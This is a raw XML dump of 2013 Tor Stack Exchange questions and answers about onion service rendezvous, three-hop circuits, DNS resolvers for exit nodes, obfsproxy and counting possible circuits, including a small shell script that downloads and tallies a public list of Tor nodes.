  <row Id="669" PostTypeId="2" ParentId="661" CreationDate="2013-10-26T13:38:37.320" Score="7" Body="&lt;p&gt;Additionally to Lutz Horn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is tor2web. &lt;a href=&quot;http://wiki.tor2web.org/index.php/Main_Page&quot; rel=&quot;noreferrer&quot;&gt;wiki.tor2web.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor2web Project Goal is to allow transparent internet exposure of&#xA;  websites running on Tor Hidden Services .&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;E.g. Yahoo, keep onion sites in &lt;strong&gt;cache&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J1540.jpg&quot; alt=&quot;yahoo&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="359" LastActivityDate="2013-10-26T13:38:37.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="670" PostTypeId="1" CreationDate="2013-10-27T05:20:20.577" Score="12" ViewCount="1219" Body="&lt;p&gt;Open DNS and others hijack failed DNS lookups. Some DNS services censor or block access to sites due to government or corporate coercion. Is there a list of preferred DNS servers, ones that don't censor or hijack the lookups that Tor exit nodes can use? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no list of preferred DNS servers, can we build one?&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2017-08-05T02:53:04.253" Title="Good DNS services for exit nodes" Tags="|exit-relays|dns|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="671" PostTypeId="2" ParentId="670" CreationDate="2013-10-27T06:25:47.637" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;https://wikileaks.org/wiki/Alternative_DNS&quot; rel=&quot;nofollow&quot;&gt;WikiLeaks list&lt;/a&gt; is good. And then there's the &lt;a href=&quot;https://anonymous-proxy-servers.net/wiki/index.php/Censorship-free_DNS_servers&quot; rel=&quot;nofollow&quot;&gt;JonDonym list&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-27T06:25:47.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="672" PostTypeId="1" AcceptedAnswerId="674" CreationDate="2013-10-27T06:42:12.687" Score="80" ViewCount="43704" Body="&lt;p&gt;I understand that the .onion address is a public key of sorts, but not much more than that (I can vaguely guess, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When nobody knows the IP of the .onion address, how do requests reach it? Are they bounced between nodes in the P2P network till someone decrypts it with the corresponding private key?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="58" LastEditDate="2013-11-02T21:38:46.603" LastActivityDate="2018-06-28T18:16:31.210" Title="How do onion addresses exactly work?" Tags="|onion-services|onion-routing|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="674" PostTypeId="2" ParentId="672" CreationDate="2013-10-27T13:11:58.480" Score="80" Body="&lt;p&gt;Up to at least October 2013 the hidden services work like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A hidden service calculates its key pair (private and public key, asymmetric encryption).&lt;/li&gt;&#xA;&lt;li&gt;Then the hidden service picks some relays as its &lt;em&gt;introduction points&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;It tells its public key to those &lt;em&gt;introduction points&lt;/em&gt; over Tor circuits.&lt;/li&gt;&#xA;&lt;li&gt;After that the hidden-service creates a &lt;em&gt;hidden service descriptor&lt;/em&gt;, containing its public key and what its &lt;em&gt;introduction points&lt;/em&gt; are.&lt;/li&gt;&#xA;&lt;li&gt;The hidden service signs the &lt;em&gt;hidden service descriptor&lt;/em&gt; with its private key.&lt;/li&gt;&#xA;&lt;li&gt;It then uploads the &lt;em&gt;hidden service descriptor&lt;/em&gt; to a &lt;em&gt;distributed hash table&lt;/em&gt; (DHT).&lt;/li&gt;&#xA;&lt;li&gt;Clients learn the .onion address from a hidden service out-of-band. (e.g. public website) (A $hash.onion is a 16 character name derived from the service's public key.)&lt;/li&gt;&#xA;&lt;li&gt;After retrieving the .onion address the client connects to the DHT and asks for that $hash.&lt;/li&gt;&#xA;&lt;li&gt;If it exists the client learns about the hidden service's public key and its &lt;em&gt;introduction points&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The client picks a relay at random to build a circuit to it, to tell it a &lt;em&gt;one-time secret&lt;/em&gt;. The picked relay acts as &lt;em&gt;rendezvous point&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The client creates a &lt;em&gt;introduce message&lt;/em&gt;, containing the address of the &lt;em&gt;rendezvous point&lt;/em&gt; and the &lt;em&gt;one-time secret&lt;/em&gt;, before encrypting the message with the hidden service's public key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The client sends its message over a Tor circuit to one of the &lt;em&gt;introduction points&lt;/em&gt;, demanding it to be forwarded to the hidden service.&lt;/li&gt;&#xA;&lt;li&gt;The hidden service decrypts the &lt;em&gt;introduce message&lt;/em&gt; with its private key to learn about the &lt;em&gt;rendezvous point&lt;/em&gt; and the &lt;em&gt;one-time secret&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The hidden service creates a &lt;em&gt;rendezvous message&lt;/em&gt;, containing the &lt;em&gt;one-time secret&lt;/em&gt; and sends it over a circuit to the &lt;em&gt;rendezvous point&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;em&gt;rendezvous point&lt;/em&gt; tells the client that a connection was established.&lt;/li&gt;&#xA;&lt;li&gt;Client and hidden service talk to each other over this &lt;em&gt;rendezvous point&lt;/em&gt;. All traffic is end-to-end encrypted and the &lt;em&gt;rendezvous point&lt;/em&gt; just relays it back and forth. Note that each of them, client and hidden service, build a circuit to the &lt;em&gt;rendezvous point&lt;/em&gt;; at three hops per circuit this makes six hops in total.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2013-10-27T13:26:48.593" LastActivityDate="2013-10-27T13:26:48.593" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="675" PostTypeId="2" ParentId="658" CreationDate="2013-10-27T14:02:06.517" Score="2" Body="&lt;p&gt;You might just want to include socks proxy support, since Tor is a socks proxy. For that read about the &lt;a href=&quot;https://en.wikipedia.org/wiki/SOCKS#Protocol&quot; rel=&quot;nofollow&quot;&gt;protocol on Wikipedia&lt;/a&gt;. If you already have http proxy support you could ship a translating proxy, such as polipo, to communicate with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your use-case requires control over Tor, &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt; could be what you are looking for. Documentation and tutorials are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your use-case requires to not rely on already deployed Tor, &lt;a href=&quot;http://www.onionroute.org/&quot; rel=&quot;nofollow&quot;&gt;Onionroute&lt;/a&gt;, a libary that is loaded into a process, could be an option. Please note, this isn't a project by the Tor Project and that it is to be considered experimental.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-10-27T14:02:06.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="676" PostTypeId="2" ParentId="670" CreationDate="2013-10-27T16:12:59.373" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.opennicproject.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.opennicproject.org/&lt;/a&gt;&#xA;please keep in mind that by using a dns server you provide valuable&#xA;information to the operator of the dns server, because the operator CAN SEE the&#xA;requested lookups:  : ) &lt;/p&gt;&#xA;" OwnerUserId="455" LastActivityDate="2013-10-27T16:12:59.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="677" PostTypeId="2" ParentId="651" CreationDate="2013-10-28T00:22:30.843" Score="3" Body="&lt;p&gt;If you did for some reason need discrete machines, some single-board computers would be good inexpensive candidates; Raspberry Pi is a bit slow, and 1024MB of RAM is better than 512MB if you're going to build a lot of circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Candidates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Raspberry Pi (1 ARMv6 core, safely overclockable to at least 950MHz, 512MB RAM)&lt;/li&gt;&#xA;&lt;li&gt;BeagleBone Black (1 ARMv7 core [IIRC], runs real Debian armhf, 512MB RAM)&lt;/li&gt;&#xA;&lt;li&gt;Cubieboard 2 (dual ARMv7 cores, 1GHz, 1024MB RAM, runs Cubian, which is Debian armhf plus hardware specific stuff)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2013-10-28T00:22:30.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="678" PostTypeId="1" AcceptedAnswerId="679" CreationDate="2013-10-28T14:31:38.620" Score="7" ViewCount="2239" Body="&lt;p&gt;Is there a minimum amount of nodes traffic goes through before reaching it's destination?&#xA;To my understanding of Tor, every node increases the effectiveness of the encrypted communication.&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2013-10-28T16:05:13.600" Title="What are the minimum amount of nodes traffic passes through?" Tags="|exit-relays|guard-node|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="679" PostTypeId="2" ParentId="678" CreationDate="2013-10-28T16:05:13.600" Score="8" Body="&lt;p&gt;All Tor circuits contain 3 nodes by default (passing over hidden services which work a little differently and essentially use two circuits chained to a gateway node). Any more than this does not add any extra anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is possible to change the number of nodes by modifying the source code, this is not recommended. Any less than three nodes and your anonymity is more easily compromised, and any more and your latency (and the load on the network) is increased without providing you with any real benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand why three nodes is the optimal choice, let's start with one and build our way up. With one node (effectively a proxy) the node knows both who is sending it traffic, and where that traffic is going (no anonymity). With two nodes one node knows who is sending traffic, and what node the traffic will be coming out of (or what the guard node is). This makes it easy to perform traffic correlation. However, with 3 nodes, there is a buffer between these two nodes. Therefore one node knows who you are, one node knows nothing, and the last node knows where the traffic is going but is fully isolated from the input. Adding anymore nodes doesn't do anything else except add more nodes that know nothing between the guard and exit nodes (slowing down everything).&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-10-28T16:05:13.600" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="680" PostTypeId="2" ParentId="670" CreationDate="2013-10-28T20:27:48.417" Score="6" Body="&lt;p&gt;I recommend building one of your own rather than sharing one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run a non-logging DNS service (a recursive caching resolver) on the same system as the Tor node, or on another system netwise nearby. This can provide good safety and performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you note, other DNS services can and often will log DNS queries, engage in typo-squating/hijacking, or be forced to censor and redirect names. Further than that, any central service used by many Tor nodes (and/or other users) allows an adversary to catch many users with a single operation to require/inject censorship or redirection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, I can better ensure that a local DNS service will provide rational &quot;straight up&quot; DNS. I can make it start from the roots, avoid logging of any queries, and skip implementing any hint of typo-squatting on NXDOMAIN responses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, controlling the upstream net or using courts to force many such local services to censor or redirect a name scales poorly, and is thus a greater work factor for an adversary, than is doing the same attack on a shared and widely used DNS service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my local recursive caching DNS resolver, I presently use unbound. Unbound is maintained by NLnet Labs, and is now the default system resolver in FreeBSD 10 among other OSes. BIND also works OK for this purpose; I used it previously but now prefer unbound's relative lack of complexity in code and design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, you will want to take care to not produce a promiscuous resolver and dDoS attack amplifier. Restrict the allowed DNS client list to your Tor node(s) and fellow travelers. One potential bonus: If you run IDSes that need to do their own lookups, have them use this resolver, and exempt this resolver from being watched by the IDSes (that's good citizenship for Tor). That way, the IDS' own lookups won't trigger IDS alerts which cause lookups which trigger IDS alerts which...&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2013-10-28T20:27:48.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="681" PostTypeId="2" ParentId="620" CreationDate="2013-10-28T22:54:34.417" Score="3" Body="&lt;p&gt;Firstly, I agree with mrphs' answer; enabling any plugins would be a very bad idea. Unless you have analyzed the sources/behavior of the VLC plugin in detail (I haven't!), you should not assume that you understand the implications of enabling it. For example, it may be possible to use the plugin to fingerprint your machine, based on the codecs you have installed, even if you have configured VLC to send all network traffic via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, Tor Browser is &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/blob/HEAD:/src/current-patches/firefox/0005-Block-all-plugins-except-flash.patch&quot; rel=&quot;nofollow&quot;&gt;patched&lt;/a&gt; to prevent plugins (except Flash!) from even loading, so you would probably have to rebuild Tor Browser without this patch to use the VLC plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="458" LastEditorUserId="458" LastEditDate="2013-10-28T23:06:45.990" LastActivityDate="2013-10-28T23:06:45.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="682" PostTypeId="1" CreationDate="2013-10-29T14:50:10.320" Score="6" ViewCount="15099" Body="&lt;p&gt;I use privoxy in combination with Tor. Sometimes when I visit a website I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1: SOCKS5 TTL expired&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I stop this from happening? In most cases it gets fixed by restarting Tor but that is not ideal.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="88" LastEditDate="2013-11-01T21:56:40.673" LastActivityDate="2013-12-03T16:25:47.033" Title="How to deal with &quot;SOCKS5 TTL expired&quot; error?" Tags="|configuration|socks|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="685" PostTypeId="1" AcceptedAnswerId="690" CreationDate="2013-10-30T04:07:06.077" Score="10" ViewCount="1402" Body="&lt;p&gt;Given the current relay census, and assuming a standard Tor Browser Bundle installation, approximately how many distinct Tor circuits are possible? Once entry guards have been chosen, approximately how many distinct circuits are possible using those entry guards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what is the method for making these estimates?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-10-31T04:54:19.447" LastActivityDate="2013-10-31T13:06:10.980" Title="How many distinct Tor circuits are possible?" Tags="|circuit|guard-node|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="687" PostTypeId="1" CreationDate="2013-10-30T19:35:56.857" Score="3" ViewCount="3802" Body="&lt;p&gt;What libraries exist for programming Tor Hidden Services in Java?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a Java implementation of the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor Rendezvous Specification&lt;/a&gt; that allow you to implement a service using an existing implementation of the protocol. This library would let you implement a call back and handle the Tor protocol for you the same way you can extends the class Servlet and have the servlet container handling the HTTP protocol for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, please provide links for the libraries home page, sample code and tutorials.&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorDisplayName="user5" LastEditDate="2013-11-01T02:18:11.753" LastActivityDate="2017-10-31T09:56:16.853" Title="What libraries exist for writing a Hidden Service in Java?" Tags="|onion-services|java|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="688" PostTypeId="2" ParentId="687" CreationDate="2013-10-30T20:37:10.753" Score="5" Body="&lt;p&gt;Hidden Services are simply servers. Tor doesn't care, or know, about what exactly is serving the service - it could be a website, or an email server, or almost anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can write a Server in Java (or use an existing one such as &lt;a href=&quot;http://www.eclipse.org/jetty/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jetty&lt;/a&gt; for a HTTP Server), then you can use it to serve a Hidden Service. You would configure it so that it will accept TCP connections only from localhost/127.0.0.1 on a port of your choosing. Further help with either configuring an existing Java Server, or writing your own is probably beyond the scope of this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would then edit your Tor configuration file to tell it to publish a Hidden Service, where your Tor Client would forward the requests to the port you specified in your Server. For further details see the &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Documentation&lt;/a&gt;, or other questions such as &lt;a href=&quot;https://tor.stackexchange.com/questions/329/how-to-set-up-a-tor-hidden-service&quot;&gt;this one&lt;/a&gt;. If you encounter an issue with this part of the setup, that problem may be on topic here, so further questions could be asked.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-31T08:29:52.070" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="690" PostTypeId="2" ParentId="685" CreationDate="2013-10-31T02:08:46.157" Score="8" Body="&lt;p&gt;As a start, this script (see below) will grab a list of nodes from &lt;a href=&quot;https://www.dan.me.uk/tornodes&quot; rel=&quot;noreferrer&quot;&gt;this website&lt;/a&gt; (or update the list if it's &gt;30 minutes old) and display them. You should be able to fetch them from any directory server as well, but I'm not entirely sure how. You'd have to look at the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec-v2.txt&quot; rel=&quot;noreferrer&quot;&gt;dir spec&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of posting this we have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;868 exits&lt;/li&gt;&#xA;&lt;li&gt;1579 guards&lt;/li&gt;&#xA;&lt;li&gt;2320 relays&lt;/li&gt;&#xA;&lt;li&gt;369 relays that are both guards and exits&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If we ignore the fact that some relays are both entry guards and exits (and wouldn't be chosen for both) we can do some basic combinatorics to figure out how many distinct circuits are possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;868 * 1579 * 2320 = 3,179,727,040 distinct circuits&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is a naive approach. One could do better. I'm also still unsure if entry guards and exits still also act as normal relays, in which case the numbers above need to be tweaked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once entry guards have been selected, this reduces to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;868 * 3 * 2320 = 6,041,280 distinct circuits&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which seems like it would make an attackers job that much easier if they could guess your guard nodes. However, let's calculate the number of possible guard node selections. Mathematically, we want a  k-combination of a set (the set of all guard nodes, in this case) with n distinct elements (1579). Since we select three guard nodes (citation needed?) by default, k will be 3. The formula for a k-combination is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zWqPa.png&quot; alt=&quot;k-combination of a set with n elements&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;solved for the number of guard nodes (1579) selecting 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQ8ox.png&quot; alt=&quot;Number of guard node selections&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have &lt;strong&gt;654891829&lt;/strong&gt; possible guard node combinations. That's a lot for an attacker with no other advantage (eg. one who can't listen in on the wire) to guess or figure out.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Improvements&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is a pretty good estimate, but we could figure out a way to calculate these numbers exactly at any given time. To do so, the following improvements are suggested:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Figure out if guards/exits can be normal relays as well&lt;/li&gt;&#xA;&lt;li&gt;Take into account the guard/exit overlap (since this gets rid of any circuits which would contain a single node for both guard and exit)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;The script&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;&#xA;echo &quot;List: ${LIST:=/tmp/tornodes}&quot;&#xA;&#xA;get_list() {&#xA;    curl https://www.dan.me.uk/tornodes | \&#xA;        sed '/&amp;lt;!-- __BEGIN_TOR_NODE_LIST__ \/\/--&amp;gt;/,/&amp;lt;!-- __END_TOR_NODE_LIST__ \/\/--&amp;gt;/!d' | \&#xA;        tail -n +2 | head -n -1 &amp;gt; ${LIST}&#xA;}&#xA;&#xA;if [ -e $LIST ]; then&#xA;    NOW=$(date +%s)&#xA;    FCTIME=$(stat -c %Y ${LIST})&#xA;    let &quot;AGE=$NOW-$FCTIME&quot;&#xA;    if [[ $AGE -gt 1800 ]]; then&#xA;        get_list&#xA;    fi&#xA;else&#xA;    get_list&#xA;fi&#xA;&#xA;TOTAL=$(wc -l ${LIST} | cut -d' ' -f1)&#xA;EXITS=0&#xA;RELAYS=0&#xA;GUARDS=0&#xA;&#xA;while read -r node; do&#xA;    FLAGS=$(echo ${node} | cut -d'|' -f5)&#xA;    case &quot;$FLAGS&quot; in&#xA;        *E*G*|*G*E*) ((EXITS++)); ((GUARDS++));;&#xA;        *E* ) ((EXITS++));;&#xA;        *G* ) ((GUARDS++));;&#xA;        * ) ((RELAYS++));;&#xA;    esac&#xA;done &amp;lt; &quot;$LIST&quot;&#xA;&#xA;echo &quot;Exits: $EXITS&quot;&#xA;echo &quot;Guards: $GUARDS&quot;&#xA;echo &quot;Relays: $RELAYS&quot;&#xA;echo &quot;---&quot;&#xA;echo &quot;Total nodes: $TOTAL&quot;&#xA;echo &quot;Guard/Exit overlap: $((($GUARDS+$EXITS+$RELAYS-$TOTAL)))&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-31T13:06:10.980" LastActivityDate="2013-10-31T13:06:10.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="691" PostTypeId="2" ParentId="685" CreationDate="2013-10-31T02:38:18.857" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;approximately how many distinct Tor circuits are possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This deppends greatly in the amount of nodes available at given time and the possible combinations, but there isn't a fixed number that won't be obsolete the next time you calculate this. Tor normally is run by well stablished nodes, but if the amount of nodes change rapidly calculate this could prove quite a feat. You of course can calculate in a specific timeframe (as Sam answer shows) but theoretically you can have as many circuits as available nodes can be combined.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once entry guards have been chosen, approximately how many distinct circuits are possible using those entry guards?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Same as above. It depends greatly on the availability of exits/relays at given time.&lt;/p&gt;&#xA;" OwnerUserId="475" LastEditorUserId="475" LastEditDate="2013-10-31T03:26:29.653" LastActivityDate="2013-10-31T03:26:29.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="692" PostTypeId="1" AcceptedAnswerId="694" CreationDate="2013-10-31T03:30:58.223" Score="9" ViewCount="188" Body="&lt;p&gt;I've seen this for a while, but in my experience Tor seems to select well stablished nodes (whose uptime is &gt;60 days) but in &lt;a href=&quot;https://tor.stackexchange.com/a/114/475&quot;&gt;the specifications&lt;/a&gt; this is not shown. It's just that the current list of nodes doesn't grow/chage? Or is there some other mechanism in play?&lt;/p&gt;&#xA;" OwnerUserId="475" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2013-11-02T20:15:09.020" Title="Does Tor take node age into consideration when building a circuit?" Tags="|relays|circuit|client|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="693" PostTypeId="1" CreationDate="2013-10-31T09:47:54.420" Score="3" ViewCount="3397" Body="&lt;p&gt;I'm in a country where obfsproxy using obfs2 is blocked, however obfs3 is still undetected. I use obfsproxy to route my OpenVPN tunnel through it in socks mode. However although I've managed to setup a server running obfsproxy with obfs3, I cannot get obfsproxy running in windows as it appears that &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9221&quot; rel=&quot;nofollow&quot;&gt;the latest version built with python and Twisted only implements a socks4 listener&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any information on whether there is an older version of obfsproxy for windows that isn't built with Twister and which does implement socks5. Does anyone have obfsproxy working with obfs3 on Windows?&lt;/p&gt;&#xA;" OwnerDisplayName="user477" LastEditorUserId="923" LastEditDate="2014-03-04T08:23:22.923" LastActivityDate="2014-04-14T21:46:39.377" Title="OpenVPN + obfsproxy + obfs3 on Windows?" Tags="|windows|socks|openvpn|obfsproxy|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="694" PostTypeId="2" ParentId="692" CreationDate="2013-11-01T04:05:55.333" Score="5" Body="&lt;p&gt;From the §2.2 &quot;Path selection and constraints&quot; of the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob_plain/6f2919a2ede935b8783e1fa93178ebb425b54f17:/path-spec.txt&quot;&gt;Path Spec&lt;/a&gt; (as of commit &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/commit/6f2919a2ede935b8783e1fa93178ebb425b54f17&quot;&gt;6f2919a2&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Additionally, we may be building circuits with one or more requests in&#xA;  mind.  Each kind of request puts certain constraints on paths:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;All service-side introduction circuits and all rendezvous paths&#xA;  should be Stable.&lt;/li&gt;&#xA;  &lt;li&gt;All connection requests for connections that we think will need to&#xA;  stay open a long time require Stable circuits.  Currently, Tor decides&#xA;  this by examining the request's target port, and comparing it to a&#xA;  list of &quot;long-lived&quot; ports. (Default: 21, 22, 706, 1863, 5050,&#xA;  5190, 5222, 5223, 6667, 6697, 8300.)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A &quot;stable&quot; node is defined in §3.1 &quot;Establishing server status&quot; of the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob_plain/6f2919a2ede935b8783e1fa93178ebb425b54f17:/dir-spec-v2.txt&quot;&gt;dir spec&lt;/a&gt; as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Stable&quot; -- A router is 'Stable' if it is active, and either its&#xA;  uptime is at least the median uptime for known active routers, or its&#xA;  uptime is at least 30 days. Routers are never called stable if they&#xA;  are running a version of Tor known to drop circuits stupidly.&#xA;  (0.1.1.10-alpha through 0.1.1.16-rc are stupid this way.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Stable nodes are also required in several other places, so it's likely that you'll often pick nodes with high uptimes when building circuits.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-11-01T04:05:55.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="697" PostTypeId="7" CreationDate="2013-11-01T15:04:26.880" Score="0" Body="&lt;ul&gt;&#xA;    &lt;li&gt;Specific issues with Tor&lt;/li&gt;&#xA;    &lt;li&gt;Theoretical or practical aspects of Tor&lt;/li&gt;&#xA;    &lt;li&gt;Getting involved with Tor&lt;/li&gt;&#xA;    &lt;li&gt;Privacy concerns&lt;/li&gt;&#xA;    &lt;li&gt;Legal aspects of using Tor network&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorDisplayName="user5" LastEditDate="2013-11-01T15:04:26.880" LastActivityDate="2013-11-01T15:04:26.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
